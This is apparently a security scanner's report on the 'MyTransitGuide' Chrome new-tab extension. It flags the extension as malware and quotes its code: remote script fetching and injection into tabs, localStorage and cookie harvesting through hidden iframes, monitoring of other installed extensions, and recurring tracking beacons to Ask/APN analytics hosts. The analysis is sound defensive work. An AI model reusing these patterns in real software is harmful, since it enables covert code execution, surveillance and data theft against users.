Security Alert: Confirmed Malware
MyTransitGuide
ID: bnmdnnacoefompilgacldgkjioblpaci
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- http://mytransitguide.comView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Find FREE transit maps, fares and schedules.
Get MyTransitGuide, find directions and transportation, plus web search, free on your Chrome New Tab Extension. By installing this extension, you agree to the End User License Agreement and Privacy Policy (eula.mindspark.com/eula/) This new tab extension is a product of Ask Applications, Inc. Permissions used & reasons: "Read and change your data on a number of websites" For our product to work, we require access to the websites we own and manage. "Replace the page you see when opening a new tab" This allows us to show you our product - new tab page with free web search. "Read your browsing history" This allows us to tailor product specific content or offers towards relevant information. "Display notifications" This allows us the option to send you updates or additional product offers once you’ve already enjoyed the free product. "Manage your apps, extensions, and themes" This allows us to help you disable or remove this product and also understand whether we are able to provide the best experience.
The extension fetches a remote JavaScript file from a URL defined in `buildVars.babRemoteScriptUrl` (loaded at runtime via `initRemoteScript`) and executes it verbatim inside arbitrary browser tabs using `chrome.tabs.executeScript`. This gives the remote server full control to inject and run arbitrary code in any page the user visits, making this a critical remote code loading/execution vector.
BabTypeInjectionScript.prototype.getClickListenerHandler = function(extensionConfig, getConnection) { var _this = this; this.initRemoteScript(extensionConfig); return function(tab) { ... BabClickHandler.getInjectionDetails(tab, extensionConfig.buildVars.newTabURL) .then(function(injectDetailsArr) { var remoteScriptInjectionDetails = { code: _this.remoteScript, runAt: "document_start" }; if (injectDetailsArr.length && injectDetailsArr[0].frameId) { remoteScriptInjectionDetails.frameId = injectDetailsArr[0].frameId; } return Promise.all([ Util.injectScriptsSequentially(tab.id, injectDetailsArr, extensionConfig, { ... }), new Promise(function(resolve) { chrome.tabs.executeScript(tab.id, remoteScriptInjectionDetails, resolve); }) ]); }) };};The extension fetches an arbitrary remote script from `babRemoteScriptUrl` (a server-controlled URL) via AJAX and stores it as `this.remoteScript`. There is no integrity verification, hash checking, or content validation before the fetched payload is later injected into browser tabs. This is a textbook remote code loading pattern where the extension operator can push arbitrary code to all users at any time.
this.initRemoteScript = function(extensionConfig) { var gettingRemoteScript = new Promise(function(resolve, reject) { if (!extensionConfig.buildVars.babRemoteScriptUrl) return reject(new Error("remove script URL is not set")); AJAX.get({ url: extensionConfig.buildVars.babRemoteScriptUrl }) .then(function(xhr) { xhr.status === 200 ? resolve(xhr.response) : reject(new Error("unable to load JSON status:\"" + xhr.status + "\"")); }); }); gettingRemoteScript .then(function(remoteScript) { if (!remoteScript) return Promise.reject(new Error("remote script is empty")); _this.remoteScript = remoteScript; })};The new tab page replacement (`chrome_url_overrides: newtab`) renders a full-viewport hidden iframe with `allow="geolocation; microphone; camera; midi; encrypted-media"`. The iframe source is set dynamically at runtime to a remote URL controlled by the extension operator. Granting microphone and camera access to a dynamically-loaded remote page via the new tab override allows covert audio/video capture without any user prompt, since Chrome grants iframe permissions based on the embedding page's origin.
<iframe id="wtt-frame" frameborder="0" src="about:blank" style="position: absolute; left: 0px; width: 100%; top: 0px; height: 100%;" allow="geolocation; microphone; camera; midi; encrypted-media"></iframe>The extension executes the remotely fetched script directly inside browser tabs with `chrome.tabs.executeScript`, including at `document_start`. Combined with the prior network fetch, this is classic remote code execution/code injection behavior under the extension's privileges.
BabClickHandler.getInjectionDetails(tab, extensionConfig.buildVars.newTabURL) .then(function(injectDetailsArr) { var remoteScriptInjectionDetails = { code: _this.remoteScript, runAt: "document_start" }; if (injectDetailsArr.length && injectDetailsArr[0].frameId) { remoteScriptInjectionDetails.frameId = injectDetailsArr[0].frameId; } return Promise.all([ Util.injectScriptsSequentially(tab.id, injectDetailsArr, extensionConfig, { message: "failed-inject-babContentScript lastError", topic: "browser-action" }), new Promise(function(resolve) { chrome.tabs.executeScript(tab.id, remoteScriptInjectionDetails, resolve); }) ]);This content script is injected into `https://download.mytransitguide.com/blank.jhtml` and reads ALL keys from `window.localStorage` of that domain on command from the background page. The background (`dlpHelper.js`) injects an invisible iframe to that domain specifically to trigger this content script and receive the full localStorage payload over the port connection. This is a deliberate mechanism to exfiltrate tracking/user data stored on the download domain into the extension's background context.
var commands = { getLocalStorage: function(data) { var storage = window.localStorage; var keys = data && data.keys && data.keys.length ? data.keys : Object.keys(storage); return Promise.resolve(keys.reduce(function(p, key) { p[key] = storage.getItem(key); return p; }, {})); }};function init() { var port = chrome.runtime.connect({ name: Util.generateGuid2(portNamePrefix + "-" + chrome.runtime.id + "-") }); channel = { id: port.name, port: port, callbacks: new Map() }; port.onMessage.addListener(onConnectMessage);}ask.apps.ContentScript.init();The extension uses the `cookies` permission to harvest all cookies from the extension's download domain (e.g., `*.mytransitguide.com`) and parses them into a structured `toolbarData` object containing identifiers such as `partnerId`, `toolbarId`, `installDate`, `userSegment`, and `coId`. This collected cookie data is then used to build tracking parameters sent to analytics endpoints, meaning cookies are being read and re-transmitted as tracking data.
function getDataFromCookies(domain) { return new Promise(function(resolve, reject) { chrome.cookies.getAll({ domain: domain }, function(cookies) { if (cookies.some(function(cookie) { return cookie.name === "toolbarId"; })) { Logger.log("Dlp: getDataFromCookies: Found DLP data cookies in domain: " + domain); resolve(parseCookies(cookies)); } else { reject(new Error("Dlp: getDataFromCookies: FAILED to find DLP data cookies in domain: " + domain)); } }); });}function parseCookies(cookies) { var cookiesObj = cookies.reduce(function(obj, cookie) { obj[cookie.name] = cookie.value; return obj; }, {}); var toolbarData = cleanToolbarData(cookiesObj); toolbarData.dataSource = Dlp.dataSourceCookies; Logger.log("Dlp: parseCookies: The fetched DLP data looks like: " + JSON.stringify(toolbarData)); return toolbarData;}Using the `management` permission, the extension enumerates all installed browser extensions with `chrome.management.getAll` and continuously monitors install, uninstall, enable, and disable events for any extension that has competing permissions (e.g., `newTabPageOverride`). The collected extension IDs, versions, and enabled states are stored and changes are reported back via the Unified Logging system. This is surveillance of the user's complete extension ecosystem used to detect and report on competing products.
this.init = function(config) { Logger.log("WatchExtensionsHandler: watching extensions with " + WatchExtensionsHandler.permissionsToMonitor + " permissions"); var initWatchExtensions = function() { return new Promise(function(resolve) { chrome.management.getAll(function(extensionInfos) { var watchExtensions = getEmptyWatchExtensionsObject(); extensionInfos .filter(function(eInfo) { return eInfo.type === "extension" && eInfo.id !== chrome.runtime.id && Util.checkOverlap(eInfo.permissions, WatchExtensionsHandler.permissionsToMonitor); }) .forEach(function(eInfo) { WatchExtensionsHandler.permissionsToMonitor .filter(function(monitorPermission) { return ~eInfo.permissions.indexOf(monitorPermission); }) .forEach(function(permission) { watchExtensions[permission].stackOfExtensions.push({ id: eInfo.id, version: eInfo.version, enabled: eInfo.enabled }); }); }); }); }); };};Every 8 hours, the extension fires a 'PhoneHome' beacon to `tbapi.search.ask.com` and `phn.apnanalytics.com` containing a unique persistent `toolbarId` (GUID), `partnerId`, `partnerSubId`, `extensionId`, install date, browser type, and a product-specific PID. The tracking uses an `Image()` pixel request which bypasses standard XHR CORS restrictions. This constitutes persistent, scheduled user tracking and profiling across the browser lifetime.
this.PHONE_HOME_INTERVAL_MS = 8 * 60 * 60 * 1000;this.TBAPI_URL = "https://tbapi.search.ask.com/tb/analytics";this.UL_PHONE_HOME_URL = "https://phn.apnanalytics.com/tr.gif";this.getCommonReportingParams = function(config) { return { anxe: undefined, anxa: "APNPNP", trgb: Browser.isChrome ? "CR" : "FF", anxp: config.state.toolbarData.partnerId, o: (config.state.toolbarData.partnerId && config.state.toolbarData.partnerId.split("^")[1]) || "", anxtv: config.buildVars.version, extVer: config.buildVars.version, guid: config.state.toolbarData.toolbarId, anxt: config.state.toolbarData.toolbarId, psv: config.state.toolbarData.partnerSubId || "", si: config.state.toolbarData.partnerSubId || "", extId: chrome.runtime.id, doi: config.state.replaceableParams.installDateYYYY_MM_DD, pid: _this.getB2BPid(config) };};this.sendTBAPIEvent = function(eventName) { return new Promise(function(resolve) { var params = _this.getReportingParams(eventName); var url = UrlUtils.appendParamsFromObject(_this.TBAPI_URL, params); new Image().src = url; resolve(); });};This function creates a hidden iframe pointing to the extension's download domain (`localStorageUrl`) specifically to trigger the `localStorageContentScript.js` content script that is injected into that domain. The background then listens for the port connection from the content script and requests full localStorage contents. This is an intentional cross-context data exfiltration pattern, using a hidden iframe as a bridge to steal localStorage data from the download domain into the privileged background context.
function openDLPDomain(url, getLocalStorage, parseLocalStorage, resolve, reject) { var bgifr = document.createElement("iframe"); bgifr.setAttribute("id", "bgifr"); bgifr.setAttribute("src", url); document.body.appendChild(bgifr); var _this = this; _this.defer(function() { var bgifr = document.getElementById("bgifr"); document.body.removeChild(bgifr); }); var onConnect = function(port) { if (!port.sender.hasOwnProperty("tab")) { chrome.runtime.onConnect.removeListener(onConnect); _this.defer(function() { port.disconnect(); }); getLocalStorage(port, _this.keys) .then(function(response) { _this.cleanUp(); resolve(parseLocalStorage(response)); }) }; }; chrome.runtime.onConnect.addListener(onConnect);}The OfferService periodically contacts a remote server-controlled URL to receive an `offerURL`, which it then opens as a new browser tab without user consent. The remote server fully controls which URL is opened, allowing the operator to redirect users to any webpage at will — including potentially phishing pages, malvertising landing pages, or sites that auto-install additional software. The request body also sends user-identifying data points (browser, OS, language, country, toolbarID, partnerID).
this.checkOfferService = function() { ... var method = _this.config.offerServiceSettings.serviceMethod || "PUT", ajaxRequest_1 = { url: _this.replaceParams(_this.config.offerServiceSettings.serviceURL), }; ... return makeAjaxRequest() .then(function(xhr) { return xhr.response; }) .then(function(response) { if (response && response.data && response.data.offerInfo && response.data.offerInfo.offerURL) { _this.state.offerURL = response.data.offerInfo.offerURL; _this.state.redirectToWTT = response.data.offerInfo.noRedirect !== "true"; } ... });};this.showSecondaryOffer = function() { if (_this.state.offerURL) { var offerURL_1 = _this.replaceParams(_this.state.offerURL); return _this.openInNewTab(offerURL_1, redirectToWTT) }};this.openInNewTab = function(url, supportWTTRedirect) { return new Promise(function(resolve) { chrome.tabs.create({ url: url }, resolve); });};The extension dynamically injects content scripts into tabs at `document_start` based on URL patterns fetched from a remote config (`contentScriptMatchPatterns`). The injection targets are entirely server-controlled — any domain pattern can be added remotely via the config update mechanism. This allows the operator to inject scripts into any website the user visits without being declared in the manifest, bypassing Chrome's static permission model.
function setUpContentScriptInjection(config) { if (config.buildVars.contentScriptMatchPatterns) { var webTooltabAPIProxyMatchPattert_1 = new RegExp("^https?://[\\w\\d]+" + config.buildVars .contentScriptMatchPatterns.webTooltabAPIProxy + "/.*$", "i"); var injectContentScripts = function(tabId, changeInfo, tab) { if (!changeInfo || !changeInfo.url) return; if (background.extensionDetectMatchPattern.test(changeInfo.url)) { var files = ["js/logger.js", "js/chrome.js", "js/util.js", "js/extensionDetect.js"]; files.forEach(function(file) { return chrome.tabs.executeScript({ runAt: "document_start", file: file }, function() { if (chrome.runtime.lastError) { Logger.error(chrome.runtime.lastError); } }); }); } if (webTooltabAPIProxyMatchPattert_1.test(changeInfo.url)) { var files = ["js/logger.js", "js/chrome.js", "js/util.js", "js/webTooltabAPIProxy.js"]; files.forEach(function(file) { return chrome.tabs.executeScript({ runAt: "document_start", file: file }, ...); }); } }; chrome.tabs.onUpdated.addListener(injectContentScripts); } return Promise.resolve(config);}This content script exposes a command that reads arbitrary keys, or all keys, from a page's `window.localStorage` and returns them to the background page over an extension port. In this extension, the background creates hidden iframes to vendor-controlled pages to trigger this collector, making it a clear local-storage harvesting mechanism.
var commands = { getLocalStorage: function(data) { var storage = window.localStorage; var keys = data && data.keys && data.keys.length ? data.keys : Object.keys(storage); return Promise.resolve(keys.reduce(function(p, key) { p[key] = storage.getItem(key); return p; }, {})); }};function init() { var port = chrome.runtime.connect({ name: Util.generateGuid2(portNamePrefix + "-" + chrome.runtime.id + "-") }); channel = {This code assembles a persistent telemetry payload containing unique toolbar IDs, partner IDs, sub IDs, extension ID, and install date. Elsewhere in the same service these fields are sent to Ask/APN analytics endpoints on install, uninstall setup, and recurring 'PhoneHome' events, which is strong tracking behavior.
this.getCommonReportingParams = function(config) { return { anxe: undefined, anxa: "APNPNP", trgb: Browser.isChrome ? "CR" : "FF", anxp: config.state.toolbarData.partnerId, o: (config.state.toolbarData.partnerId && config.state.toolbarData.partnerId.split("^")[1]) || "", anxtv: config.buildVars.version, extVer: config.buildVars.version, guid: config.state.toolbarData.toolbarId, anxt: config.state.toolbarData.toolbarId, psv: config.state.toolbarData.partnerSubId || "", si: config.state.toolbarData.partnerSubId || "", extId: chrome.runtime.id, doi: config.state.replaceableParams.installDateYYYY_MM_DD, pid: _this.getB2BPid(config)The `loadContent` function creates hidden iframes and appends them to `document.body` to silently load arbitrary URLs. It is called by `NotificationService` to fire a survey URL beacon when a notification is shown, passing user data as query parameters to a remotely-controlled URL. The iframe is invisible to the user and constitutes covert page loading for tracking purposes. When used with the uninstall survey URL mechanism, it can also exfiltrate `notificationId` and other state data to remote servers.
function loadContent(request) { var url = request.url, timeout = request.timeout; if (window.location.href.indexOf(request.url) >= 0) { Promise.reject(new Error("Cannot load \"" + url + "\" inside \"" + window.location.href + "\"")); } return new Promise(function(resolve, reject) { var iframe = document.createElement("iframe"); if (timeout) { timeout = setTimeout(function() { if (iframe) { iframe.parentNode.removeChild(iframe); } reject(new Error("Load content timeout: \"" + url + "\"")); }, timeout); } iframe.addEventListener("load", function(e) { !timeout || clearTimeout(timeout); resolve({ url: url, parentUrl: window.location.href, timedout: false, close: function() { iframe.parentNode.removeChild(iframe); } }); }, true); iframe.setAttribute("src", url); document.body.appendChild(iframe); });}Using the `management` permission, the extension inventories other installed extensions, records their IDs/versions/enabled state, and tracks which one controls monitored browser features. Monitoring competing extensions and default-handler changes is invasive collection unrelated to a transit/new-tab experience.
return new Promise(function(resolve) { chrome.management.getAll(function(extensionInfos) { var watchExtensions = getEmptyWatchExtensionsObject(); extensionInfos .filter(function(eInfo) { return eInfo.type === "extension" && eInfo.id !== chrome.runtime.id && Util.checkOverlap(eInfo.permissions, WatchExtensionsHandler.permissionsToMonitor); }) .forEach(function(eInfo) { WatchExtensionsHandler.permissionsToMonitor .filter(function(monitorPermission) { return ~eInfo.permissions.indexOf(monitorPermission); }) .forEach(function(permission) { watchExtensions[permission].stackOfExtensions.push({ id: eInfo.id, version: eInfo.version, enabled: eInfo.enabled }); }); }); Object.keys(watchExtensions) .forEach(function(installedWatchExtensionsKey) { watchExtensions[installedWatchExtensionsKey].isDefault = true; watchExtensions[installedWatchExtensionsKey].stackOfExtensions.push({ id: chrome.runtime.id, version: config.buildVars.version, enabled: true });By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 13.945.18.35135 | 15 |
Files with findings
10 distinct paths — top paths by unique finding count:
- js/babTypeInjectionScript.js3
- js/B2BService.js2
- js/localStorageContentScript.js2
- js/watchExtensionsHandler.js2
- js/background.js1
- js/dlp.js1
- js/dlpHelper.js1
- js/offerService.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.